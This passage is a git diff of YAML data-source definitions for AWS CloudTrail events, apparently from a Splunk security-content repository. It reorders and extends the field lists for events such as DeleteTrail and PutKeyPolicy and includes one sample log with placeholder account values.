+67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml index d8aa0af29a..a71e3a628e 100644 --- a/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml +++ b/data_sources/aws_cloudtrail_deleteloggingconfiguration.yml @@ -14,4 +14,91 @@ supported_TA: version: 8.2.2 fields: - _time + - apiVersion + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - errorMessage + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventtype + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - reason + - recipientAccountId + - region + - requestID + - requestParameters.changeToken + - requestParameters.detectorId + - requestParameters.ipSetId + - requestParameters.logGroupName + - requestParameters.logStreamName + - requestParameters.ruleId + - requestParameters.webACLId + - responseElements + - responseElements.__type + - responseElements.changeToken + - responseElements.message + - result + - result_id + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - tag + - tag::eventtype + - timeendpos + - timestartpos + - tlsDetails.cipherSuite + - tlsDetails.clientProvidedHostHeader + - tlsDetails.tlsVersion + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region example_log: '' diff --git a/data_sources/aws_cloudtrail_deleteloggroup.yml b/data_sources/aws_cloudtrail_deleteloggroup.yml index 32a576295d..40d1264161 100644 --- a/data_sources/aws_cloudtrail_deleteloggroup.yml +++ b/data_sources/aws_cloudtrail_deleteloggroup.yml @@ -22,8 +22,9 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -42,8 +43,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -65,6 +66,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -74,6 +76,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -82,13 +90,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletelogstream.yml b/data_sources/aws_cloudtrail_deletelogstream.yml index fb8e5147f6..d72748b9ba 100644 --- a/data_sources/aws_cloudtrail_deletelogstream.yml +++ b/data_sources/aws_cloudtrail_deletelogstream.yml @@ -22,8 +22,9 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -42,8 +43,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,6 +67,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -75,6 +77,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -83,13 +91,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml index 26b3ce7198..ba68f113f1 100644 --- a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml @@ -21,18 +21,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - dest - direction - dvc - errorCode @@ -42,14 +35,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly @@ -72,9 +68,13 @@ fields: - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -89,13 +89,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletepolicy.yml b/data_sources/aws_cloudtrail_deletepolicy.yml index f5c3a384fe..633101953f 100644 --- a/data_sources/aws_cloudtrail_deletepolicy.yml +++ b/data_sources/aws_cloudtrail_deletepolicy.yml @@ -20,18 +20,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode @@ -42,8 +35,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -57,6 +50,7 @@ fields: - recipientAccountId - region - requestID + - requestParameters - requestParameters.policyArn - responseElements - result @@ -68,28 +62,34 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deleterule.yml b/data_sources/aws_cloudtrail_deleterule.yml index 95f67eb714..4d4734121d 100644 --- a/data_sources/aws_cloudtrail_deleterule.yml +++ b/data_sources/aws_cloudtrail_deleterule.yml @@ -22,8 +22,8 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -36,14 +36,15 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -53,12 +54,16 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.changeToken - requestParameters.ruleId + - responseElements - responseElements.changeToken + - result + - result_id - signature - source - sourceIPAddress @@ -66,6 +71,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -75,6 +81,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -83,13 +95,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deleterulegroup.yml b/data_sources/aws_cloudtrail_deleterulegroup.yml index 888baf1d85..b70b8ef49b 100644 --- a/data_sources/aws_cloudtrail_deleterulegroup.yml +++ b/data_sources/aws_cloudtrail_deleterulegroup.yml @@ -14,4 +14,91 @@ supported_TA: version: 8.2.2 fields: - _time + - apiVersion + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - errorMessage + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventtype + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - reason + - recipientAccountId + - region + - requestID + - requestParameters.changeToken + - requestParameters.detectorId + - requestParameters.ipSetId + - requestParameters.logGroupName + - requestParameters.logStreamName + - requestParameters.ruleId + - requestParameters.webACLId + - responseElements + - responseElements.__type + - responseElements.changeToken + - responseElements.message + - result + - result_id + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - tag + - tag::eventtype + - timeendpos + - timestartpos + - tlsDetails.cipherSuite + - tlsDetails.clientProvidedHostHeader + - tlsDetails.tlsVersion + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region example_log: '' diff --git a/data_sources/aws_cloudtrail_deletetrail.yml b/data_sources/aws_cloudtrail_deletetrail.yml index 2a0af88997..b24ce9457d 100644 --- a/data_sources/aws_cloudtrail_deletetrail.yml +++ b/data_sources/aws_cloudtrail_deletetrail.yml @@ -21,8 +21,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -41,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -64,6 +64,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -73,6 +74,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -81,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletewebacl.yml b/data_sources/aws_cloudtrail_deletewebacl.yml index 3d389b31f6..d7e69c4cb3 100644 --- a/data_sources/aws_cloudtrail_deletewebacl.yml +++ b/data_sources/aws_cloudtrail_deletewebacl.yml @@ -20,8 +20,8 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -34,14 +34,15 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -51,12 +52,16 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.changeToken - requestParameters.webACLId + - responseElements - responseElements.changeToken + - result + - result_id - signature - source - sourceIPAddress @@ -64,6 +69,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -73,6 +79,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -81,13 +93,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_describeimagescanfindings.yml b/data_sources/aws_cloudtrail_describeimagescanfindings.yml index 191afb2bce..0ad693892d 100644 --- a/data_sources/aws_cloudtrail_describeimagescanfindings.yml +++ b/data_sources/aws_cloudtrail_describeimagescanfindings.yml @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -40,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -87,7 +88,12 @@ fields: - tag::eventtype - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -102,13 +108,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_describesnapshotattribute.yml b/data_sources/aws_cloudtrail_describesnapshotattribute.yml index e31315d18c..959c8bba42 100644 --- a/data_sources/aws_cloudtrail_describesnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_describesnapshotattribute.yml @@ -13,11 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/1876 version: 8.2.2 fields: + - _time - action - app - - authentication_method - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -28,11 +28,7 @@ fields: - date_wday - date_year - date_zone - - desc - dest - - dest_ip_range - - dest_port_range - - direction - dvc - errorCode - errorMessage @@ -42,12 +38,10 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - - image_id - index - - instance_type - linecount - managementEvent - msg @@ -56,8 +50,6 @@ fields: - object_category - object_id - product - - protocol - - protocol_code - punct - readOnly - reason @@ -65,40 +57,52 @@ fields: - region - requestID - requestParameters.attributeType + - requestParameters.createVolumePermission.add.items{}.group + - requestParameters.createVolumePermission.add.items{}.userId + - requestParameters.createVolumePermission.remove.items{}.group - requestParameters.snapshotId + - requestParameters.tagSpecificationSet.items{}.resourceType + - requestParameters.tagSpecificationSet.items{}.tags{}.key + - requestParameters.tagSpecificationSet.items{}.tags{}.value + - requestParameters.volumeId - responseElements + - responseElements._return + - responseElements.encrypted + - responseElements.ownerId + - responseElements.requestId + - responseElements.snapshotId + - responseElements.startTime + - responseElements.status + - responseElements.tagSet.items{}.key + - responseElements.tagSet.items{}.value + - responseElements.volumeId + - responseElements.volumeSize - result - result_id - - rule_action - signature - source - sourceIPAddress - sourcetype - splunk_server - - splunk_server_group - src - src_ip - - src_ip_range - - src_port_range - src_user - - src_user_id - - src_user_name - - src_user_role - - src_user_type - start_time - status - tag - - tag::action - - tag::app - tag::eventtype - - tag::object_category - - temp_access_key - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -112,26 +116,10 @@ fields: - userIdentity.sessionContext.sessionIssuer.type - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type + - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_role - - user_type - vendor - vendor_account - vendor_product - vendor_region - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _time example_log: '{"eventVersion": "1.10", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLBXYPYUKBH:aws-go-sdk-1740131590946446551", "arn": "arn:aws:sts::111111111111111:assumed-role/DAFTPUNK-cloud-security-audit/aws-go-sdk-1740131590946446551", "accountId": "111111111111111", "accessKeyId": "DAFTPUNK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLBXYPYUKBH", "arn": "arn:aws:iam::111111111111111:role/DAFTPUNK-cloud-security-audit", "accountId": "111111111111111", "userName": "DAFTPUNK-cloud-security-audit"}, "attributes": {"creationDate": "2025-02-21T10:48:43Z", "mfaAuthenticated": "false"}}}, "eventTime": "2025-02-21T11:29:27Z", "eventSource": "ec2.amazonaws.com", "eventName": "DescribeSnapshotAttribute", "awsRegion": "eu-central-1", "sourceIPAddress": "54.203.114.197", "userAgent": "m/E aws-sdk-go-v2/1.30.5 os/linux lang/go#1.22.4 md/GOOS#linux md/GOARCH#amd64 api/ec2#1.177.3", "requestParameters": {"snapshotId": "snap-082bd5016636bbd94", "attributeType": "PRODUCT_CODES"}, "responseElements": null, "requestID": "70339070-6038-40b7-9acf-5ecb85cda843", "eventID": "bcc65c3f-a997-4a01-90bf-3b85f7268e70", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "ec2.eu-central-1.amazonaws.com"}}' diff --git a/data_sources/aws_cloudtrail_getpassworddata.yml b/data_sources/aws_cloudtrail_getpassworddata.yml index 4c419b3a63..9e5316d2a9 100644 --- a/data_sources/aws_cloudtrail_getpassworddata.yml +++ b/data_sources/aws_cloudtrail_getpassworddata.yml @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -41,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -75,7 +75,12 @@ fields: - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -90,13 +95,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_modifydbinstance.yml b/data_sources/aws_cloudtrail_modifydbinstance.yml index 3613f843e8..6496a8a753 100644 --- a/data_sources/aws_cloudtrail_modifydbinstance.yml +++ b/data_sources/aws_cloudtrail_modifydbinstance.yml @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -69,7 +70,9 @@ fields: - responseElements.dBInstanceArn - responseElements.dBInstanceClass - responseElements.dBInstanceIdentifier + - responseElements.dbInstancePort - responseElements.dBInstanceStatus + - responseElements.dbiResourceId - responseElements.dBParameterGroups{}.dBParameterGroupName - responseElements.dBParameterGroups{}.parameterApplyStatus - responseElements.dBSubnetGroup.dBSubnetGroupDescription @@ -79,8 +82,6 @@ fields: - responseElements.dBSubnetGroup.subnets{}.subnetIdentifier - responseElements.dBSubnetGroup.subnets{}.subnetStatus - responseElements.dBSubnetGroup.vpcId - - responseElements.dbInstancePort - - responseElements.dbiResourceId - responseElements.deletionProtection - responseElements.endpoint.address - responseElements.endpoint.hostedZoneId @@ -124,7 +125,12 @@ fields: - start_time - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -139,13 +145,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_modifyimageattribute.yml b/data_sources/aws_cloudtrail_modifyimageattribute.yml index 4d47df2492..b6f940cc5a 100644 --- a/data_sources/aws_cloudtrail_modifyimageattribute.yml +++ b/data_sources/aws_cloudtrail_modifyimageattribute.yml @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -55,6 +55,7 @@ fields: - requestID - requestParameters.attributeType - requestParameters.imageId + - requestParameters.launchPermission.add.items{}.group - requestParameters.launchPermission.add.items{}.userId - responseElements._return - responseElements.requestId @@ -69,7 +70,12 @@ fields: - start_time - timeendpos - timestartpos - - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -84,13 +90,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml index 1027f7c5f2..481f758e6d 100644 --- a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml @@ -18,8 +18,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -33,12 +33,14 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType + - eventtype - eventVersion - host - index @@ -49,14 +51,20 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.attributeType + - requestParameters.createVolumePermission.add.items{}.group - requestParameters.createVolumePermission.add.items{}.userId + - requestParameters.createVolumePermission.remove.items{}.group - requestParameters.snapshotId + - responseElements - responseElements._return - responseElements.requestId + - result + - result_id - signature - source - sourceIPAddress @@ -64,28 +72,37 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - tag + - tag::eventtype - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_putbucketlifecycle.yml b/data_sources/aws_cloudtrail_putbucketlifecycle.yml index daa93d4c05..7c4a991a4e 100644 --- a/data_sources/aws_cloudtrail_putbucketlifecycle.yml +++ b/data_sources/aws_cloudtrail_putbucketlifecycle.yml @@ -19,14 +19,15 @@ supported_TA: fields: - _time - additionalEventData.AuthenticationMethod - - additionalEventData.CipherSuite - - additionalEventData.SignatureVersion - additionalEventData.bytesTransferredIn - additionalEventData.bytesTransferredOut + - additionalEventData.CipherSuite + - additionalEventData.SignatureVersion - additionalEventData.x-amz-id-2 - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -45,6 +46,7 @@ fields: - eventSource - eventTime - eventType + - eventtype - eventVersion - host - index @@ -60,16 +62,17 @@ fields: - recipientAccountId - region - requestID + - requestParameters.bucketName - requestParameters.Host + - requestParameters.lifecycle - requestParameters.LifecycleConfiguration.Rule.Expiration.Days + - requestParameters.LifecycleConfiguration.Rule.Filter - requestParameters.LifecycleConfiguration.Rule.Filter.Prefix - requestParameters.LifecycleConfiguration.Rule.ID - requestParameters.LifecycleConfiguration.Rule.Status - requestParameters.LifecycleConfiguration.xmlns - - requestParameters.bucketName - - requestParameters.lifecycle - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - resources{}.type - responseElements - signature @@ -79,32 +82,42 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - tag + - tag::eventtype - timeendpos - timestartpos - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product - vendor_region + - vpcEndpointId output_fields: - dest - user diff --git a/data_sources/aws_cloudtrail_putimage.yml b/data_sources/aws_cloudtrail_putimage.yml index d95a8e337f..86b0f87090 100644 --- a/data_sources/aws_cloudtrail_putimage.yml +++ b/data_sources/aws_cloudtrail_putimage.yml @@ -19,8 +19,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -30,7 +31,6 @@ fields: - date_wday - date_year - date_zone - - dest - dvc - errorCode - eventCategory @@ -57,8 +57,8 @@ fields: - requestParameters.imageTag - requestParameters.registryId - requestParameters.repositoryName - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - responseElements.image.imageId.imageDigest - responseElements.image.imageId.imageTag - responseElements.image.imageManifest @@ -72,10 +72,17 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -87,13 +94,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_putkeypolicy.yml b/data_sources/aws_cloudtrail_putkeypolicy.yml index 57b95d703a..1b984ab083 100644 --- a/data_sources/aws_cloudtrail_putkeypolicy.yml +++ b/data_sources/aws_cloudtrail_putkeypolicy.yml @@ -16,49 +16,83 @@ supported_TA: version: 8.2.2 fields: - _time + - action - app - - awsRegion + - authentication_method - aws_account_id + - awsRegion + - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category - product - punct - readOnly + - reason - recipientAccountId - region - requestID + - requestParameters + - requestParameters.aliasName - requestParameters.bypassPolicyLockoutSafetyCheck + - requestParameters.customerMasterKeySpec + - requestParameters.description + - requestParameters.encryptionAlgorithm + - requestParameters.encryptionContext.aws:acm:arn + - requestParameters.encryptionContext.aws:cloudfront:arn + - requestParameters.encryptionContext.aws:lambda:FunctionArn + - requestParameters.encryptionContext.aws:s3:arn + - requestParameters.encryptionContext.SecretARN + - requestParameters.encryptionContext.SecretVersionId - requestParameters.keyId + - requestParameters.keySpec + - requestParameters.keyUsage + - requestParameters.limit + - requestParameters.origin + - requestParameters.pendingWindowInDays - requestParameters.policy - requestParameters.policyName - - resources{}.ARN + - requestParameters.targetKeyId - resources{}.accountId + - resources{}.ARN - resources{}.type - responseElements + - responseElements.deletionDate + - responseElements.keyId + - responseElements.keyMetadata.arn + - responseElements.keyMetadata.aWSAccountId + - responseElements.keyMetadata.creationDate + - responseElements.keyMetadata.customerMasterKeySpec + - responseElements.keyMetadata.description + - responseElements.keyMetadata.enabled + - responseElements.keyMetadata.encryptionAlgorithms{} + - responseElements.keyMetadata.keyId + - responseElements.keyMetadata.keyManager + - responseElements.keyMetadata.keyState + - responseElements.keyMetadata.keyUsage + - responseElements.keyMetadata.origin + - result + - result_id + - sharedEventID - signature - source - sourceIPAddress @@ -66,16 +100,28 @@ fields: - splunk_server - src - src_ip + - src_user + - src_user_id + - src_user_name + - src_user_type - start_time + - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn + - userIdentity.invokedBy - userIdentity.principalId - userIdentity.sessionContext.attributes.creationDate - userIdentity.sessionContext.attributes.mfaAuthenticated @@ -85,18 +131,13 @@ fields: - userIdentity.sessionContext.sessionIssuer.type - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type + - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product - vendor_region + - vpcEndpointId output_fields: - dest - user diff --git a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml index 40e4c9ae5d..5b011ed737 100644 --- a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml @@ -20,18 +20,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - dest - direction - dvc - errorCode @@ -41,14 +34,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - protocol - protocol_code @@ -78,9 +74,13 @@ fields: - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -95,13 